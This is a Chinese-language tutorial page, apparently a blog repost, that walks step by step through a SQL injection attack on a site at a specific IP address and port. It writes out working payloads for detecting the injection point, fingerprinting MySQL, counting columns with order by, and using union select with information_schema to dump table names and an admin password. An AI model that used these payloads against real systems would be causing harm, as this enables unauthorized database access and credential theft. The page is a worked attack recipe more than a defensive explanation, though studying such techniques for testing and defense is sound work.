热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

sql注入攻击实例mysql_SQL注入攻击案例

一、检测注入点二、判断是否存在SQL注入可能三、数据库爆破四、字段爆破五、数据库表爆破六、用户名、密码爆破七、总结一、检测注入点首先,在http:120.203.13

一、检测注入点

二、判断是否存在 SQL 注入可能

三、数据库爆破

四、字段爆破

五、数据库表爆破

六、用户名、密码爆破

七、总结

一、检测注入点

首先,在 http://120.203.13.75:6815/?id=1 目标站点页面发现了 ?id,说明可以通过查询 id=1 的内容来获得页面。

这相当于查询语句:

select * from [表名] where id = '1';

7b515946811b448db2af81cbc20cb11f.png

二、判断是否存在 SQL 注入可能

在 http://120.203.13.75:6815/?id=1 后加入一个 单引号,构成http://120.203.13.75:6815/?id=1',此时的 SQL 查询语句变为:

select * from 表名 where id =1';

SQL 语句未正确结束,因此返回了一个错误页面,如图所示:

81e8c9e5972a0b0ecf51d52dc6f4ef9b.png

继续测试 and 1=1 和 and 1=2:

http://120.203.13.75:6815/?id=1 and 1=1

这相当于 SQL 查询语句:

select * from 表名 where id =1 and 1=1;

SQL 语句用 and 连接可以设置多个条件,目前返回一个永久为真的条件,因此返回了一个正常页面,如图所示:

52199b075f2e8b0c5b100dad6084b340.png

http://120.203.13.75:6815/?id=1 and 1=2

这相当于 SQL 查询语句:

select select * from 表名 where id =1 and 1=2;

SQL语句用 and 连接可以设置多个条件,目前返回一个永久为假的条件,因此页面返回错误,如图所示:

71ec9b4536a67a543afe413a286980cc.png

说明 SQL 语句被执行,程序没有对敏感字符进行过滤。现在可以确定此处是一个 SQL 注入点,程序对带入的参数没有做任何处理,直接带到数据库的查询语句中。

三、数据库爆破

现在要判断数据库类型以及版本,构造语句如下:

http://120.203.13.75:6815/?id=1 and ord(mid(version(),1,1))>51

发现返回正常页面,说明数据库是 MySQL,并且版本大于 4.0,支持 union 查询,反之是 4.0 以下版本或者其他类型数据库。

a534523de78cfecb21e6aa93f1f7748e.png

四、字段爆破

进一步猜测数据注入位置:

http://120.203.13.75:6815/?id=1 order by 10

这相当于 SQL 查询语句:

select * from [表名] where id =1 order by 10;

返回错误,说明字段小于 10:

6724e55de26f4010df9c715908d17012.png

http://120.203.13.75:6815/?id=1 order by 2

这相当于SQL查询语句:

select * from [表名] where id =1 order by 2;

返回正常页面,说明字段是 2。当字段数很大时,二分查找法的优势比较明显,效率更高。

c13ad21ada0fdf0124ea69cfa3d57e3f.png

五、数据库表爆破

确定字段之后,现在要构造联合查询语句 (union select),语句如下:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,2

可以发现在页面中,原先的内容没有了,取而代之的是返回的数字 2,这个数字指的是我们可以把联合查询的对应位置替换为想要查询的关键字,比如版本,数据库名称,主要是用来探测 web 系统的信息。

8817843c5a1b3501b2a867327a7e12b3.png

查询数据库版本:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,version()

得到结果为版本号 5.5.53,如图所示:

471bbb3dca2ae36222d3c199829a3809.png

六、用户名、密码爆破

现在把 2 替换掉,先查询数据库名称,构造语句如下:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,database()

浏览器返回了 maoshe,说明这个网站的数据库名称是 maoshe,如图所示:

53becc6656dc2cc04f221e7152ba71e2.png

用同样的手法查询表名,构造语句如下:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema='maoshe'

浏览器返回 admin,说明表名为 admin,如图所示:

1a3dc53f544dd574898dccba969946cf.png

再用同样的手法猜测密码和用户名字段,构造语句如下:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,pwd from admin

7c2fe809995de037ea7a1df25feb5448.png

返回失败,说明字段名称不是 pwd。

重新猜测密码字段,构造语句如下:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,password from admin

17a78a95afe287e5bcb1263ee54e4467.png

返回成功,说明密码字段名称为 password,且登录密码为 hellohack。

七、总结

要想实现注入,首先要找到 注入点。使用联合查询语句时,需要将语句写在一个闭合的空间内,这个空间就是通过查找注入点并添加的一个闭合的引号内。在网站中使用的查询语句在 MySQL 中都是可以实现的。

基本步骤:

找到注入点;

判断当前表的字段;

用联合语句查看哪几位是有效位;

查看当前数据库中有哪些表;

查看表中有哪些属性;

查看表中具体的数据信息。



推荐阅读
  • 我的LINUX学习之路之二十一之web服务器简单搭建
    今天说说如何搭建HTTP服务器!目的:使用“多IP地址”方法实现多个网站。使用“主机头名”方法实现多个网站。使用“多端口”方法实现多个网站。这回用图形界 ... [详细]
  • 也就是|单打_.net Core 自我学习随笔——工作的核心:增删改查
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了.netCore自我学习随笔——工作的核心:增删改查相关的知识,希望对你有一定的参考价值。上次介绍了一下如何进行连接 ... [详细]
  • 本文介绍了数据库的存储结构及其重要性,强调了关系数据库范例中将逻辑存储与物理存储分开的必要性。通过逻辑结构和物理结构的分离,可以实现对物理存储的重新组织和数据库的迁移,而应用程序不会察觉到任何更改。文章还展示了Oracle数据库的逻辑结构和物理结构,并介绍了表空间的概念和作用。 ... [详细]
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
  • Oracle Database 10g许可授予信息及高级功能详解
    本文介绍了Oracle Database 10g许可授予信息及其中的高级功能,包括数据库优化数据包、SQL访问指导、SQL优化指导、SQL优化集和重组对象。同时提供了详细说明,指导用户在Oracle Database 10g中如何使用这些功能。 ... [详细]
  • 本文介绍了使用postman进行接口测试的方法,以测试用户管理模块为例。首先需要下载并安装postman,然后创建基本的请求并填写用户名密码进行登录测试。接下来可以进行用户查询和新增的测试。在新增时,可以进行异常测试,包括用户名超长和输入特殊字符的情况。通过测试发现后台没有对参数长度和特殊字符进行检查和过滤。 ... [详细]
  • 如何理解MyBatis动态SQL
    本篇内容主要讲解“如何理解MyBatis动态SQL”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“如何理解M ... [详细]
  • ASP.NET Core WebAPI 开发新建WebAPI项目  转
    转 http:www.cnblogs.comlinezerop5497472.htmlASP.NETCoreWebAPI开发-新建WebAPI项目ASP.NETCoreWebAPI ... [详细]
  • C#设计模式(8)——桥接模式(Bridge Pattern)
    原文地址:http:www.cnblogs.comzhilipBridgePattern.html原文作者:Learninghard原文出处:博客园一、引言 ... [详细]
  • 导读:很多朋友问到关于入门学什么php框架简单的相关问题,本文编程笔记就来为大家做个详细解答,供大家参考,希望对大家有所帮助!一起来看看吧!本文目录一览: ... [详细]
  • 数据库用久了难免会出现没有回收的空间,如果空间太大可使用以下方法进行回收。查询用个表所占用的空间:SELECTtablespace_name,100*(sum_max-sum_alloc+nvl(su ... [详细]
  • 代码如下:(把数据以表格形式输出本人小白哪位大侠能把完整的代码写出来呀最好是可以添加、删除和显示表格的)<%@pagecontentTypetexthtmlpageEn ... [详细]
  • nsitionalENhttp:www.w3.orgTRxhtml1DTDxhtml1-transitional.dtd ... [详细]
  • 本文详细介绍了SQL日志收缩的方法,包括截断日志和删除不需要的旧日志记录。通过备份日志和使用DBCC SHRINKFILE命令可以实现日志的收缩。同时,还介绍了截断日志的原理和注意事项,包括不能截断事务日志的活动部分和MinLSN的确定方法。通过本文的方法,可以有效减小逻辑日志的大小,提高数据库的性能。 ... [详细]
  • 本文讨论了Alink回归预测的不完善问题,指出目前主要针对Python做案例,对其他语言支持不足。同时介绍了pom.xml文件的基本结构和使用方法,以及Maven的相关知识。最后,对Alink回归预测的未来发展提出了期待。 ... [详细]
author-avatar
书友53034809
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有